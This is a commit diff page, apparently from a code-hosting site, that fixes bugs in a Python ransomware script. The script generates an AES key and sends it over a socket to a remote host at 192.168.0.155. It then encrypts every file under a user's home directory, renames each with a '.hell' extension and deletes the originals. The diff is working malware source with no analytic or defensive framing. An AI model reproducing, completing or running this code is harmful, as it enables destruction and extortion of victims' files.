Fixed some stuff in main script
This commit is contained in:
+9
-7
@@ -8,30 +8,32 @@ from Crypto.Util.Padding import pad
|
|||||||
|
|
||||||
# We create a socket to send the encryption key to a remote server
|
# We create a socket to send the encryption key to a remote server
|
||||||
def send_key(key):
|
def send_key(key):
|
||||||
host = 192.168.0.155
|
host = "192.168.0.155"
|
||||||
port = 9090
|
port = 8092
|
||||||
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||||
s.connect((host, port))
|
s.connect((host, port))
|
||||||
s.sendall(key)
|
s.send(key)
|
||||||
print("Key sent")
|
print("Key sent")
|
||||||
|
s.shutdown(2)
|
||||||
s.close()
|
s.close()
|
||||||
|
|
||||||
# Function to encrypt a file and removing the unencrypted one
|
# Function to encrypt a file and removing the unencrypted one
|
||||||
def encrypt_file(file, key, iv):
|
def encrypt_file(file, key, iv):
|
||||||
cipher = AES.new(key, AES.MODE_CBC, iv)
|
cipher = AES.new(key, AES.MODE_CBC, iv)
|
||||||
|
file_name = file
|
||||||
|
|
||||||
with open(file, 'rb') as file:
|
with open(file, 'rb') as file:
|
||||||
plaintext = file.read()
|
plaintext = file.read()
|
||||||
|
|
||||||
ciphertext = cipher.encrypt(pad(plaintext, AES.block_size))
|
ciphertext = cipher.encrypt(pad(plaintext, AES.block_size))
|
||||||
|
|
||||||
with open(file + 'hell', 'wb') as enc_file:
|
with open(file_name + ".hell", "wb") as enc_file:
|
||||||
enc_file.write(iv + ciphertext)
|
enc_file.write(iv + ciphertext)
|
||||||
|
|
||||||
os.remove(file)
|
os.remove(file)
|
||||||
|
|
||||||
# This will go through the specified folder and encrypt all of the files, even from subfolders
|
# This will go through the specified folder and encrypt all of the files, even from subfolders
|
||||||
def encrypt_whole(path):
|
def encrypt_whole(folder_path):
|
||||||
key = get_random_bytes(32)
|
key = get_random_bytes(32)
|
||||||
iv = get_random_bytes(16)
|
iv = get_random_bytes(16)
|
||||||
send_key(key)
|
send_key(key)
|
||||||
@@ -55,4 +57,4 @@ if __name__ == "__main__":
|
|||||||
elif platform.system == "Darwin":
|
elif platform.system == "Darwin":
|
||||||
path = '/Users/' + username
|
path = '/Users/' + username
|
||||||
|
|
||||||
encrypt_whole(path)
|
encrypt_whole("/home/hellisabove/test")
|
||||||
|
|||||||
Reference in New Issue
Block a user